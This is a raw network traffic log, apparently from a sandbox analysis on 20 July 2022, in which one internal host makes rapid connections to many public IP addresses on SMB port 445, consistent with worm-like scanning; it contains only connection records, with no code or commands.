Jul 20, 2022 09:09:33.673650980 CEST	53592	445	192.168.2.6	101.167.237.28
Jul 20, 2022 09:09:33.673806906 CEST	53594	445	192.168.2.6	122.77.207.189
Jul 20, 2022 09:09:33.673971891 CEST	53597	445	192.168.2.6	171.249.104.192
Jul 20, 2022 09:09:33.674088955 CEST	53598	445	192.168.2.6	82.113.98.94
Jul 20, 2022 09:09:33.674402952 CEST	53600	445	192.168.2.6	45.63.235.229
Jul 20, 2022 09:09:33.674494982 CEST	53599	445	192.168.2.6	60.98.118.19
Jul 20, 2022 09:09:33.702341080 CEST	53602	445	192.168.2.6	116.52.121.56
Jul 20, 2022 09:09:33.703161955 CEST	53606	445	192.168.2.6	146.110.38.150
Jul 20, 2022 09:09:33.704705000 CEST	53607	445	192.168.2.6	102.189.62.145
Jul 20, 2022 09:09:33.704747915 CEST	53608	445	192.168.2.6	5.10.27.162
Jul 20, 2022 09:09:33.705127001 CEST	53609	445	192.168.2.6	221.246.91.52
Jul 20, 2022 09:09:33.705467939 CEST	53612	445	192.168.2.6	64.51.98.54
Jul 20, 2022 09:09:33.705529928 CEST	53613	445	192.168.2.6	199.253.139.21
Jul 20, 2022 09:09:33.705614090 CEST	53614	445	192.168.2.6	57.252.242.146
Jul 20, 2022 09:09:33.705705881 CEST	53616	445	192.168.2.6	25.138.190.45
Jul 20, 2022 09:09:33.705818892 CEST	53618	445	192.168.2.6	164.136.148.121
Jul 20, 2022 09:09:33.705878019 CEST	53619	445	192.168.2.6	92.47.157.6
Jul 20, 2022 09:09:33.705992937 CEST	53620	445	192.168.2.6	85.92.76.33
Jul 20, 2022 09:09:33.740583897 CEST	445	53620	85.92.76.33	192.168.2.6
Jul 20, 2022 09:09:33.822983027 CEST	445	53619	92.47.157.6	192.168.2.6
Jul 20, 2022 09:09:33.961262941 CEST	445	53599	60.98.118.19	192.168.2.6
Jul 20, 2022 09:09:34.071346045 CEST	53563	445	192.168.2.6	190.134.92.225
Jul 20, 2022 09:09:34.305738926 CEST	53620	445	192.168.2.6	85.92.76.33
Jul 20, 2022 09:09:34.312634945 CEST	445	53563	190.134.92.225	192.168.2.6
Jul 20, 2022 09:09:34.336643934 CEST	445	53620	85.92.76.33	192.168.2.6
Jul 20, 2022 09:09:34.370321035 CEST	53626	445	192.168.2.6	167.81.29.143
Jul 20, 2022 09:09:34.370445013 CEST	53627	445	192.168.2.6	78.108.129.185
Jul 20, 2022 09:09:34.370588064 CEST	53630	445	192.168.2.6	111.119.219.152
Jul 20, 2022 09:09:34.462060928 CEST	53599	445	192.168.2.6	60.98.118.19
Jul 20, 2022 09:09:34.477560043 CEST	53619	445	192.168.2.6	92.47.157.6
Jul 20, 2022 09:09:34.594060898 CEST	445	53619	92.47.157.6	192.168.2.6
Jul 20, 2022 09:09:34.605618954 CEST	53634	445	192.168.2.6	129.15.16.142
Jul 20, 2022 09:09:34.607218027 CEST	53637	445	192.168.2.6	105.132.2.51
Jul 20, 2022 09:09:34.608890057 CEST	53638	445	192.168.2.6	158.124.209.209
Jul 20, 2022 09:09:34.609081984 CEST	53640	445	192.168.2.6	67.81.14.181
Jul 20, 2022 09:09:34.618987083 CEST	53642	445	192.168.2.6	61.55.136.88
Jul 20, 2022 09:09:34.620037079 CEST	53644	445	192.168.2.6	74.79.178.82
Jul 20, 2022 09:09:34.747601986 CEST	445	53599	60.98.118.19	192.168.2.6
Jul 20, 2022 09:09:34.777211905 CEST	53646	445	192.168.2.6	206.92.193.129
Jul 20, 2022 09:09:34.792794943 CEST	53649	445	192.168.2.6	13.175.234.119
Jul 20, 2022 09:09:34.793637037 CEST	53650	445	192.168.2.6	124.76.1.122
Jul 20, 2022 09:09:34.794399023 CEST	53651	445	192.168.2.6	145.243.32.10
Jul 20, 2022 09:09:34.797118902 CEST	53652	445	192.168.2.6	156.42.219.178
Jul 20, 2022 09:09:34.798722029 CEST	53655	445	192.168.2.6	89.228.56.38
Jul 20, 2022 09:09:34.799932957 CEST	53657	445	192.168.2.6	171.141.106.158
Jul 20, 2022 09:09:34.800892115 CEST	53658	445	192.168.2.6	8.215.97.206
Jul 20, 2022 09:09:34.801498890 CEST	53659	445	192.168.2.6	13.72.244.74
Jul 20, 2022 09:09:34.802213907 CEST	53660	445	192.168.2.6	177.149.92.177
Jul 20, 2022 09:09:34.840636969 CEST	53669	445	192.168.2.6	12.0.230.65
Jul 20, 2022 09:09:34.841428041 CEST	53670	445	192.168.2.6	214.11.151.200
Jul 20, 2022 09:09:34.936554909 CEST	53671	445	192.168.2.6	1.133.20.218
Jul 20, 2022 09:09:34.941999912 CEST	53673	445	192.168.2.6	32.32.91.143
Jul 20, 2022 09:09:34.942085981 CEST	53674	445	192.168.2.6	91.180.202.254
Jul 20, 2022 09:09:34.942203045 CEST	53676	445	192.168.2.6	43.218.171.41
Jul 20, 2022 09:09:34.942301035 CEST	53677	445	192.168.2.6	146.161.253.179
Jul 20, 2022 09:09:34.942451000 CEST	53680	445	192.168.2.6	209.215.69.241
Jul 20, 2022 09:09:34.942559958 CEST	53681	445	192.168.2.6	214.167.133.226
Jul 20, 2022 09:09:34.942646980 CEST	53682	445	192.168.2.6	45.230.227.171
Jul 20, 2022 09:09:34.942724943 CEST	53683	445	192.168.2.6	32.3.32.71
Jul 20, 2022 09:09:34.973937035 CEST	53685	445	192.168.2.6	57.183.205.178
Jul 20, 2022 09:09:35.494726896 CEST	53690	445	192.168.2.6	153.128.97.250
Jul 20, 2022 09:09:35.495541096 CEST	53691	445	192.168.2.6	144.51.63.55
Jul 20, 2022 09:09:35.497239113 CEST	53693	445	192.168.2.6	218.208.253.243
Jul 20, 2022 09:09:35.729573965 CEST	53698	445	192.168.2.6	107.127.121.146
Jul 20, 2022 09:09:35.731125116 CEST	53701	445	192.168.2.6	144.40.177.57
Jul 20, 2022 09:09:35.731709003 CEST	53702	445	192.168.2.6	138.232.117.30
Jul 20, 2022 09:09:35.732778072 CEST	53704	445	192.168.2.6	190.247.101.121
Jul 20, 2022 09:09:35.745290995 CEST	53706	445	192.168.2.6	138.208.45.7
Jul 20, 2022 09:09:35.746382952 CEST	53708	445	192.168.2.6	94.225.51.251
Jul 20, 2022 09:09:35.760862112 CEST	445	53702	138.232.117.30	192.168.2.6
Jul 20, 2022 09:09:35.805996895 CEST	52613	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:35.893268108 CEST	53711	445	192.168.2.6	128.6.136.111
Jul 20, 2022 09:09:35.916234016 CEST	53713	445	192.168.2.6	32.60.134.226
Jul 20, 2022 09:09:35.916996956 CEST	53714	445	192.168.2.6	109.56.147.234
Jul 20, 2022 09:09:35.917721987 CEST	53715	445	192.168.2.6	57.30.132.168
Jul 20, 2022 09:09:35.918519974 CEST	53716	445	192.168.2.6	119.101.206.14
Jul 20, 2022 09:09:35.919905901 CEST	53718	445	192.168.2.6	186.2.88.14
Jul 20, 2022 09:09:35.925571918 CEST	53721	445	192.168.2.6	70.86.160.129
Jul 20, 2022 09:09:35.925614119 CEST	53722	445	192.168.2.6	137.243.158.103
Jul 20, 2022 09:09:35.925715923 CEST	53723	445	192.168.2.6	99.10.4.2
Jul 20, 2022 09:09:35.925875902 CEST	53726	445	192.168.2.6	27.165.237.205
Jul 20, 2022 09:09:35.951323032 CEST	53734	445	192.168.2.6	167.218.104.99
Jul 20, 2022 09:09:35.952095032 CEST	53735	445	192.168.2.6	195.131.160.169
Jul 20, 2022 09:09:36.058100939 CEST	53737	445	192.168.2.6	213.117.224.100
Jul 20, 2022 09:09:36.059554100 CEST	53739	445	192.168.2.6	40.75.202.133
Jul 20, 2022 09:09:36.060312986 CEST	53740	445	192.168.2.6	173.173.252.14
Jul 20, 2022 09:09:36.062321901 CEST	53743	445	192.168.2.6	180.157.41.251
Jul 20, 2022 09:09:36.063030005 CEST	53744	445	192.168.2.6	177.222.53.253
Jul 20, 2022 09:09:36.064533949 CEST	53746	445	192.168.2.6	201.2.217.248
Jul 20, 2022 09:09:36.065228939 CEST	53747	445	192.168.2.6	19.110.189.109
Jul 20, 2022 09:09:36.066133976 CEST	53748	445	192.168.2.6	169.113.105.154
Jul 20, 2022 09:09:36.088397026 CEST	53750	445	192.168.2.6	211.219.55.88
Jul 20, 2022 09:09:36.305999994 CEST	53702	445	192.168.2.6	138.232.117.30
Jul 20, 2022 09:09:36.619257927 CEST	53755	445	192.168.2.6	25.206.132.18
Jul 20, 2022 09:09:36.619940996 CEST	53756	445	192.168.2.6	19.209.155.207
Jul 20, 2022 09:09:36.621248007 CEST	53758	445	192.168.2.6	40.221.236.162
Jul 20, 2022 09:09:36.962217093 CEST	52615	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:37.232347965 CEST	53762	445	192.168.2.6	166.99.3.245
Jul 20, 2022 09:09:37.233222008 CEST	53763	445	192.168.2.6	206.36.45.173
Jul 20, 2022 09:09:37.234898090 CEST	53765	445	192.168.2.6	25.165.203.141
Jul 20, 2022 09:09:37.237422943 CEST	53768	445	192.168.2.6	203.130.196.70
Jul 20, 2022 09:09:37.238312006 CEST	53769	445	192.168.2.6	84.69.91.109
Jul 20, 2022 09:09:37.239387989 CEST	53770	445	192.168.2.6	112.226.110.113
Jul 20, 2022 09:09:37.341850042 CEST	53771	445	192.168.2.6	56.189.135.207
Jul 20, 2022 09:09:37.343723059 CEST	53773	445	192.168.2.6	124.248.237.21
Jul 20, 2022 09:09:39.189596891 CEST	53776	445	192.168.2.6	95.174.187.234
Jul 20, 2022 09:09:39.189685106 CEST	53777	445	192.168.2.6	199.92.236.183
Jul 20, 2022 09:09:39.189759016 CEST	53778	445	192.168.2.6	164.28.219.12
Jul 20, 2022 09:09:39.189990044 CEST	53781	445	192.168.2.6	148.151.250.15
Jul 20, 2022 09:09:39.190305948 CEST	53787	445	192.168.2.6	208.42.214.163
Jul 20, 2022 09:09:39.190515041 CEST	53790	445	192.168.2.6	205.175.50.13
Jul 20, 2022 09:09:39.190692902 CEST	53792	445	192.168.2.6	217.15.71.97
Jul 20, 2022 09:09:39.190890074 CEST	53795	445	192.168.2.6	31.247.233.73
Jul 20, 2022 09:09:39.191006899 CEST	53796	445	192.168.2.6	129.51.83.60
Jul 20, 2022 09:09:39.191122055 CEST	53797	445	192.168.2.6	80.231.116.9
Jul 20, 2022 09:09:39.192137003 CEST	53804	445	192.168.2.6	24.20.171.129
Jul 20, 2022 09:09:39.192353010 CEST	53806	445	192.168.2.6	146.42.84.62
Jul 20, 2022 09:09:39.192461014 CEST	53807	445	192.168.2.6	109.45.82.203
Jul 20, 2022 09:09:39.192570925 CEST	53808	445	192.168.2.6	3.58.237.104
Jul 20, 2022 09:09:39.192673922 CEST	53809	445	192.168.2.6	205.102.95.84
Jul 20, 2022 09:09:39.192876101 CEST	53812	445	192.168.2.6	75.81.30.235
Jul 20, 2022 09:09:39.192981958 CEST	53813	445	192.168.2.6	201.140.28.250
Jul 20, 2022 09:09:39.193120956 CEST	53815	445	192.168.2.6	128.123.148.202
Jul 20, 2022 09:09:39.193232059 CEST	53816	445	192.168.2.6	83.227.20.51
Jul 20, 2022 09:09:39.193335056 CEST	53817	445	192.168.2.6	57.135.96.29
Jul 20, 2022 09:09:39.203758001 CEST	53821	445	192.168.2.6	213.88.227.56
Jul 20, 2022 09:09:39.203967094 CEST	53824	445	192.168.2.6	99.64.218.182
Jul 20, 2022 09:09:39.204041958 CEST	53825	445	192.168.2.6	79.210.73.174
Jul 20, 2022 09:09:39.204176903 CEST	53827	445	192.168.2.6	177.34.146.25
Jul 20, 2022 09:09:39.204339981 CEST	53830	445	192.168.2.6	195.192.176.60
Jul 20, 2022 09:09:39.204449892 CEST	53831	445	192.168.2.6	109.64.52.99
Jul 20, 2022 09:09:39.204567909 CEST	53832	445	192.168.2.6	96.192.31.169
Jul 20, 2022 09:09:40.329402924 CEST	53833	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:40.332515955 CEST	53834	445	192.168.2.6	78.223.79.167
Jul 20, 2022 09:09:40.333142042 CEST	53835	445	192.168.2.6	102.117.214.44
Jul 20, 2022 09:09:40.334160089 CEST	53837	445	192.168.2.6	179.83.161.188
Jul 20, 2022 09:09:40.411744118 CEST	53839	445	192.168.2.6	89.152.131.156
Jul 20, 2022 09:09:40.436199903 CEST	53841	445	192.168.2.6	5.208.55.26
Jul 20, 2022 09:09:40.436738014 CEST	53842	445	192.168.2.6	30.44.110.50
Jul 20, 2022 09:09:40.437262058 CEST	53843	445	192.168.2.6	51.105.118.108
Jul 20, 2022 09:09:40.439244986 CEST	53846	445	192.168.2.6	139.219.217.41
Jul 20, 2022 09:09:40.441138029 CEST	53848	445	192.168.2.6	173.187.186.89
Jul 20, 2022 09:09:40.442595005 CEST	53851	445	192.168.2.6	20.62.220.103
Jul 20, 2022 09:09:40.447257042 CEST	53857	445	192.168.2.6	144.184.129.107
Jul 20, 2022 09:09:40.451337099 CEST	53860	445	192.168.2.6	221.124.113.62
Jul 20, 2022 09:09:40.452106953 CEST	53861	445	192.168.2.6	133.3.65.153
Jul 20, 2022 09:09:40.453406096 CEST	53862	445	192.168.2.6	1.239.166.23
Jul 20, 2022 09:09:40.456700087 CEST	53866	445	192.168.2.6	26.127.173.115
Jul 20, 2022 09:09:40.457612038 CEST	53867	445	192.168.2.6	135.33.54.87
Jul 20, 2022 09:09:40.459474087 CEST	53868	445	192.168.2.6	187.150.9.118
Jul 20, 2022 09:09:40.522443056 CEST	53870	445	192.168.2.6	193.121.163.245
Jul 20, 2022 09:09:40.523056984 CEST	53871	445	192.168.2.6	182.166.38.240
Jul 20, 2022 09:09:40.534133911 CEST	53874	445	192.168.2.6	211.82.18.15
Jul 20, 2022 09:09:40.626147032 CEST	53875	445	192.168.2.6	138.45.184.70
Jul 20, 2022 09:09:40.627912045 CEST	53876	445	192.168.2.6	177.13.159.38
Jul 20, 2022 09:09:40.627983093 CEST	53877	445	192.168.2.6	22.193.236.57
Jul 20, 2022 09:09:40.628035069 CEST	53879	445	192.168.2.6	87.177.102.238
Jul 20, 2022 09:09:40.628324986 CEST	53885	445	192.168.2.6	36.25.28.248
Jul 20, 2022 09:09:40.628504038 CEST	53886	445	192.168.2.6	126.59.6.169
Jul 20, 2022 09:09:40.628640890 CEST	53887	445	192.168.2.6	205.237.51.123
Jul 20, 2022 09:09:40.628658056 CEST	53890	445	192.168.2.6	23.147.158.41
Jul 20, 2022 09:09:40.628720999 CEST	53893	445	192.168.2.6	95.101.236.155
Jul 20, 2022 09:09:40.628747940 CEST	53892	445	192.168.2.6	163.158.75.155
Jul 20, 2022 09:09:40.628946066 CEST	53896	445	192.168.2.6	51.11.232.66
Jul 20, 2022 09:09:41.432491064 CEST	53900	445	192.168.2.6	145.26.81.155
Jul 20, 2022 09:09:41.433353901 CEST	53901	445	192.168.2.6	188.233.36.125
Jul 20, 2022 09:09:41.434636116 CEST	53902	445	192.168.2.6	52.234.224.216
Jul 20, 2022 09:09:41.542300940 CEST	53905	445	192.168.2.6	68.62.177.238
Jul 20, 2022 09:09:41.563946009 CEST	53907	445	192.168.2.6	49.232.208.38
Jul 20, 2022 09:09:41.564033031 CEST	53909	445	192.168.2.6	80.129.183.137
Jul 20, 2022 09:09:41.564052105 CEST	53908	445	192.168.2.6	154.39.33.60
Jul 20, 2022 09:09:41.564235926 CEST	53913	445	192.168.2.6	106.135.86.92
Jul 20, 2022 09:09:41.564253092 CEST	53911	445	192.168.2.6	139.240.18.115
Jul 20, 2022 09:09:41.564367056 CEST	53916	445	192.168.2.6	156.65.135.234
Jul 20, 2022 09:09:41.572766066 CEST	53923	445	192.168.2.6	147.19.206.139
Jul 20, 2022 09:09:41.577200890 CEST	53924	445	192.168.2.6	66.216.126.60
Jul 20, 2022 09:09:41.578006983 CEST	53930	445	192.168.2.6	140.130.111.194
Jul 20, 2022 09:09:41.578007936 CEST	53933	445	192.168.2.6	221.226.40.139
Jul 20, 2022 09:09:41.578010082 CEST	53929	445	192.168.2.6	25.60.207.3
Jul 20, 2022 09:09:41.578010082 CEST	53928	445	192.168.2.6	35.67.150.148
Jul 20, 2022 09:09:41.655154943 CEST	53934	445	192.168.2.6	17.30.71.188
Jul 20, 2022 09:09:41.655235052 CEST	53937	445	192.168.2.6	171.43.20.207
Jul 20, 2022 09:09:41.655246973 CEST	53935	445	192.168.2.6	144.225.184.129
Jul 20, 2022 09:09:41.655307055 CEST	53938	445	192.168.2.6	152.49.200.31
Jul 20, 2022 09:09:41.763003111 CEST	53942	445	192.168.2.6	160.1.239.168
Jul 20, 2022 09:09:41.763113976 CEST	53943	445	192.168.2.6	22.80.157.28
Jul 20, 2022 09:09:41.763127089 CEST	53944	445	192.168.2.6	45.180.107.200
Jul 20, 2022 09:09:41.763402939 CEST	53951	445	192.168.2.6	174.26.42.155
Jul 20, 2022 09:09:41.763469934 CEST	53952	445	192.168.2.6	152.213.20.186
Jul 20, 2022 09:09:41.763514996 CEST	53953	445	192.168.2.6	176.168.167.92
Jul 20, 2022 09:09:41.763709068 CEST	53958	445	192.168.2.6	116.151.179.152
Jul 20, 2022 09:09:41.763734102 CEST	53957	445	192.168.2.6	165.10.247.24
Jul 20, 2022 09:09:41.763878107 CEST	53959	445	192.168.2.6	90.129.106.164
Jul 20, 2022 09:09:41.764134884 CEST	53964	445	192.168.2.6	201.101.6.70
Jul 20, 2022 09:09:41.764213085 CEST	53965	445	192.168.2.6	184.111.148.68
Jul 20, 2022 09:09:42.558517933 CEST	53967	445	192.168.2.6	152.9.228.102
Jul 20, 2022 09:09:42.558880091 CEST	53968	445	192.168.2.6	222.141.36.243
Jul 20, 2022 09:09:42.558932066 CEST	53969	445	192.168.2.6	209.155.31.183
Jul 20, 2022 09:09:42.651057005 CEST	53972	445	192.168.2.6	171.171.155.112
Jul 20, 2022 09:09:42.683825970 CEST	53975	445	192.168.2.6	179.135.76.147
Jul 20, 2022 09:09:42.684602022 CEST	53976	445	192.168.2.6	175.27.225.88
Jul 20, 2022 09:09:42.685369015 CEST	53977	445	192.168.2.6	149.45.75.165
Jul 20, 2022 09:09:42.690016985 CEST	53983	445	192.168.2.6	96.221.136.107
Jul 20, 2022 09:09:42.714574099 CEST	53986	445	192.168.2.6	195.161.206.124
Jul 20, 2022 09:09:42.714690924 CEST	53987	445	192.168.2.6	188.203.140.94
Jul 20, 2022 09:09:42.714809895 CEST	53988	445	192.168.2.6	10.240.211.83
Jul 20, 2022 09:09:42.714900017 CEST	53989	445	192.168.2.6	89.176.69.211
Jul 20, 2022 09:09:42.715126991 CEST	53993	445	192.168.2.6	65.129.155.242
Jul 20, 2022 09:09:42.715293884 CEST	53995	445	192.168.2.6	135.94.95.34
Jul 20, 2022 09:09:42.715483904 CEST	53997	445	192.168.2.6	178.201.87.93
Jul 20, 2022 09:09:42.715598106 CEST	53998	445	192.168.2.6	38.77.203.28
Jul 20, 2022 09:09:42.778162956 CEST	54001	445	192.168.2.6	211.212.239.47
Jul 20, 2022 09:09:42.778801918 CEST	54003	445	192.168.2.6	111.32.31.103
Jul 20, 2022 09:09:42.778922081 CEST	54005	445	192.168.2.6	139.33.97.200
Jul 20, 2022 09:09:42.778937101 CEST	54004	445	192.168.2.6	124.50.168.228
Jul 20, 2022 09:09:42.872030020 CEST	54009	445	192.168.2.6	40.234.40.252
Jul 20, 2022 09:09:42.880074024 CEST	54012	445	192.168.2.6	75.93.123.4
Jul 20, 2022 09:09:42.880244017 CEST	54015	445	192.168.2.6	27.42.126.252
Jul 20, 2022 09:09:42.880348921 CEST	54017	445	192.168.2.6	197.230.148.251
Jul 20, 2022 09:09:42.880425930 CEST	54018	445	192.168.2.6	210.226.116.67
Jul 20, 2022 09:09:42.880587101 CEST	54022	445	192.168.2.6	138.208.246.179
Jul 20, 2022 09:09:42.880600929 CEST	54021	445	192.168.2.6	92.42.108.207
Jul 20, 2022 09:09:42.880713940 CEST	54023	445	192.168.2.6	56.71.201.62
Jul 20, 2022 09:09:42.880999088 CEST	54031	445	192.168.2.6	165.40.251.144
Jul 20, 2022 09:09:42.881025076 CEST	54030	445	192.168.2.6	220.158.33.25
Jul 20, 2022 09:09:42.881172895 CEST	54032	445	192.168.2.6	187.179.152.104
Jul 20, 2022 09:09:42.940485954 CEST	445	54017	197.230.148.251	192.168.2.6
Jul 20, 2022 09:09:43.462850094 CEST	54017	445	192.168.2.6	197.230.148.251
Jul 20, 2022 09:09:43.462889910 CEST	53833	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:43.526499987 CEST	445	54017	197.230.148.251	192.168.2.6
Jul 20, 2022 09:09:43.668967962 CEST	54035	445	192.168.2.6	220.223.126.111
Jul 20, 2022 09:09:43.669099092 CEST	54034	445	192.168.2.6	176.57.59.171
Jul 20, 2022 09:09:43.669099092 CEST	54036	445	192.168.2.6	123.171.251.50
Jul 20, 2022 09:09:43.702919960 CEST	445	53833	201.187.246.4	192.168.2.6
Jul 20, 2022 09:09:43.703145981 CEST	53833	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:43.776305914 CEST	54039	445	192.168.2.6	126.145.11.209
Jul 20, 2022 09:09:43.809540987 CEST	54041	445	192.168.2.6	18.12.143.23
Jul 20, 2022 09:09:43.813026905 CEST	54046	445	192.168.2.6	158.31.206.5
Jul 20, 2022 09:09:43.813875914 CEST	54047	445	192.168.2.6	20.238.163.218
Jul 20, 2022 09:09:43.814636946 CEST	54048	445	192.168.2.6	195.151.239.49
Jul 20, 2022 09:09:43.839956999 CEST	54054	445	192.168.2.6	41.136.78.121
Jul 20, 2022 09:09:43.840635061 CEST	54055	445	192.168.2.6	219.201.20.180
Jul 20, 2022 09:09:43.841821909 CEST	54057	445	192.168.2.6	113.243.5.175
Jul 20, 2022 09:09:43.843189955 CEST	54059	445	192.168.2.6	177.151.207.93
Jul 20, 2022 09:09:43.845407009 CEST	54063	445	192.168.2.6	16.155.42.229
Jul 20, 2022 09:09:43.845983028 CEST	54064	445	192.168.2.6	87.93.130.205
Jul 20, 2022 09:09:43.846532106 CEST	54065	445	192.168.2.6	162.115.191.66
Jul 20, 2022 09:09:43.847207069 CEST	54066	445	192.168.2.6	99.196.144.218
Jul 20, 2022 09:09:43.922349930 CEST	54068	445	192.168.2.6	191.127.192.201
Jul 20, 2022 09:09:43.922585964 CEST	54069	445	192.168.2.6	83.204.68.29
Jul 20, 2022 09:09:43.923280954 CEST	54074	445	192.168.2.6	200.28.34.251
Jul 20, 2022 09:09:44.001241922 CEST	54078	445	192.168.2.6	177.11.30.149
Jul 20, 2022 09:09:44.002036095 CEST	54079	445	192.168.2.6	30.204.112.72
Jul 20, 2022 09:09:44.002422094 CEST	54083	445	192.168.2.6	50.13.15.126
Jul 20, 2022 09:09:44.002582073 CEST	54086	445	192.168.2.6	51.248.94.150
Jul 20, 2022 09:09:44.002616882 CEST	54085	445	192.168.2.6	71.38.78.149
Jul 20, 2022 09:09:44.002677917 CEST	54087	445	192.168.2.6	173.148.96.87
Jul 20, 2022 09:09:44.002813101 CEST	54089	445	192.168.2.6	181.122.105.251
Jul 20, 2022 09:09:44.003078938 CEST	54095	445	192.168.2.6	165.86.60.97
Jul 20, 2022 09:09:44.003192902 CEST	54096	445	192.168.2.6	156.192.105.138
Jul 20, 2022 09:09:44.003201008 CEST	54097	445	192.168.2.6	211.64.46.225
Jul 20, 2022 09:09:44.003278971 CEST	54099	445	192.168.2.6	4.156.150.95
Jul 20, 2022 09:09:44.275383949 CEST	53833	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:44.810244083 CEST	54104	445	192.168.2.6	121.109.149.0
Jul 20, 2022 09:09:44.810868979 CEST	54105	445	192.168.2.6	119.216.110.0
Jul 20, 2022 09:09:44.820955038 CEST	54106	445	192.168.2.6	33.201.116.31
Jul 20, 2022 09:09:44.898602009 CEST	54107	445	192.168.2.6	70.206.169.216
Jul 20, 2022 09:09:44.933334112 CEST	54109	445	192.168.2.6	58.200.99.206
Jul 20, 2022 09:09:44.936455011 CEST	54114	445	192.168.2.6	84.68.138.99
Jul 20, 2022 09:09:44.937026978 CEST	54115	445	192.168.2.6	18.215.91.76
Jul 20, 2022 09:09:44.937517881 CEST	54116	445	192.168.2.6	60.48.195.156
Jul 20, 2022 09:09:44.962929964 CEST	53833	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:44.964253902 CEST	54121	445	192.168.2.6	176.236.8.252
Jul 20, 2022 09:09:44.964807034 CEST	54122	445	192.168.2.6	128.113.109.131
Jul 20, 2022 09:09:44.965353012 CEST	54123	445	192.168.2.6	53.65.56.143
Jul 20, 2022 09:09:44.965965033 CEST	54124	445	192.168.2.6	11.239.111.53
Jul 20, 2022 09:09:44.968019009 CEST	54128	445	192.168.2.6	91.246.47.37
Jul 20, 2022 09:09:44.969980001 CEST	54130	445	192.168.2.6	212.32.83.42
Jul 20, 2022 09:09:44.971411943 CEST	54132	445	192.168.2.6	148.49.211.46
Jul 20, 2022 09:09:44.971951008 CEST	54133	445	192.168.2.6	120.102.76.40
Jul 20, 2022 09:09:45.027856112 CEST	54136	445	192.168.2.6	51.28.129.149
Jul 20, 2022 09:09:45.027906895 CEST	54137	445	192.168.2.6	49.164.129.115
Jul 20, 2022 09:09:45.028058052 CEST	54138	445	192.168.2.6	102.28.13.118
Jul 20, 2022 09:09:45.028350115 CEST	54141	445	192.168.2.6	27.243.212.215
Jul 20, 2022 09:09:45.130137920 CEST	54146	445	192.168.2.6	41.11.154.185
Jul 20, 2022 09:09:45.130990028 CEST	54147	445	192.168.2.6	20.56.136.56
Jul 20, 2022 09:09:45.131870985 CEST	54150	445	192.168.2.6	115.210.112.236
Jul 20, 2022 09:09:45.132009029 CEST	54149	445	192.168.2.6	123.171.54.178
Jul 20, 2022 09:09:45.132129908 CEST	54155	445	192.168.2.6	186.200.68.151
Jul 20, 2022 09:09:45.132230997 CEST	54158	445	192.168.2.6	132.175.134.202
Jul 20, 2022 09:09:45.132260084 CEST	54157	445	192.168.2.6	188.20.7.197
Jul 20, 2022 09:09:45.132333994 CEST	54159	445	192.168.2.6	30.247.101.48
Jul 20, 2022 09:09:45.132391930 CEST	54160	445	192.168.2.6	37.82.130.46
Jul 20, 2022 09:09:45.132452011 CEST	54163	445	192.168.2.6	3.197.149.219
Jul 20, 2022 09:09:45.132531881 CEST	54165	445	192.168.2.6	181.71.47.59
Jul 20, 2022 09:09:45.748385906 CEST	445	54138	102.28.13.118	192.168.2.6
Jul 20, 2022 09:09:45.954248905 CEST	54170	445	192.168.2.6	212.184.51.95
Jul 20, 2022 09:09:45.954401970 CEST	54171	445	192.168.2.6	106.206.249.91
Jul 20, 2022 09:09:45.954588890 CEST	54172	445	192.168.2.6	38.77.105.178
Jul 20, 2022 09:09:46.039691925 CEST	54175	445	192.168.2.6	165.138.227.62
Jul 20, 2022 09:09:46.061456919 CEST	54179	445	192.168.2.6	160.60.188.189
Jul 20, 2022 09:09:46.061459064 CEST	54178	445	192.168.2.6	223.102.96.105
Jul 20, 2022 09:09:46.061629057 CEST	54180	445	192.168.2.6	55.134.58.38
Jul 20, 2022 09:09:46.061815023 CEST	54185	445	192.168.2.6	29.205.175.118
Jul 20, 2022 09:09:46.091516018 CEST	54188	445	192.168.2.6	175.121.145.94
Jul 20, 2022 09:09:46.092381001 CEST	54189	445	192.168.2.6	102.1.202.102
Jul 20, 2022 09:09:46.093154907 CEST	54190	445	192.168.2.6	18.108.1.0
Jul 20, 2022 09:09:46.106676102 CEST	54194	445	192.168.2.6	146.100.71.209
Jul 20, 2022 09:09:46.107446909 CEST	54195	445	192.168.2.6	188.49.150.50
Jul 20, 2022 09:09:46.108882904 CEST	54197	445	192.168.2.6	216.173.204.42
Jul 20, 2022 09:09:46.110311031 CEST	54199	445	192.168.2.6	99.253.245.209
Jul 20, 2022 09:09:46.113332987 CEST	54203	445	192.168.2.6	146.24.95.234
Jul 20, 2022 09:09:46.154601097 CEST	54204	445	192.168.2.6	193.144.3.90
Jul 20, 2022 09:09:46.155360937 CEST	54205	445	192.168.2.6	197.195.171.27
Jul 20, 2022 09:09:46.157140017 CEST	54207	445	192.168.2.6	67.120.208.116
Jul 20, 2022 09:09:46.159113884 CEST	54210	445	192.168.2.6	208.102.53.35
Jul 20, 2022 09:09:46.275505066 CEST	53833	445	192.168.2.6	201.187.246.4
Jul 20, 2022 09:09:46.282206059 CEST	54214	445	192.168.2.6	177.197.0.104
Jul 20, 2022 09:09:46.282367945 CEST	54215	445	192.168.2.6	132.149.43.84
Jul 20, 2022 09:09:46.282457113 CEST	54218	445	192.168.2.6	18.16.67.123
Jul 20, 2022 09:09:46.282541990 CEST	54219	445	192.168.2.6	220.38.209.163
Jul 20, 2022 09:09:46.282624006 CEST	54220	445	192.168.2.6	183.27.239.114
Jul 20, 2022 09:09:46.282713890 CEST	54221	445	192.168.2.6	150.252.233.3
Jul 20, 2022 09:09:46.283320904 CEST	54224	445	192.168.2.6	209.77.120.105
Jul 20, 2022 09:09:46.283987045 CEST	54226	445	192.168.2.6	114.101.132.146
Jul 20, 2022 09:09:46.284140110 CEST	54228	445	192.168.2.6	182.1.209.203
Jul 20, 2022 09:09:46.284435034 CEST	54231	445	192.168.2.6	62.77.11.73
Jul 20, 2022 09:09:46.284571886 CEST	54233	445	192.168.2.6	79.161.246.192
Jul 20, 2022 09:09:47.081451893 CEST	54241	445	192.168.2.6	66.43.246.229
Jul 20, 2022 09:09:47.081494093 CEST	54242	445	192.168.2.6	121.17.24.60
Jul 20, 2022 09:09:47.081573963 CEST	54243	445	192.168.2.6	86.213.78.92
Jul 20, 2022 09:09:47.152702093 CEST	54244	445	192.168.2.6	114.175.249.178
Jul 20, 2022 09:09:47.190087080 CEST	54247	445	192.168.2.6	178.62.1.73
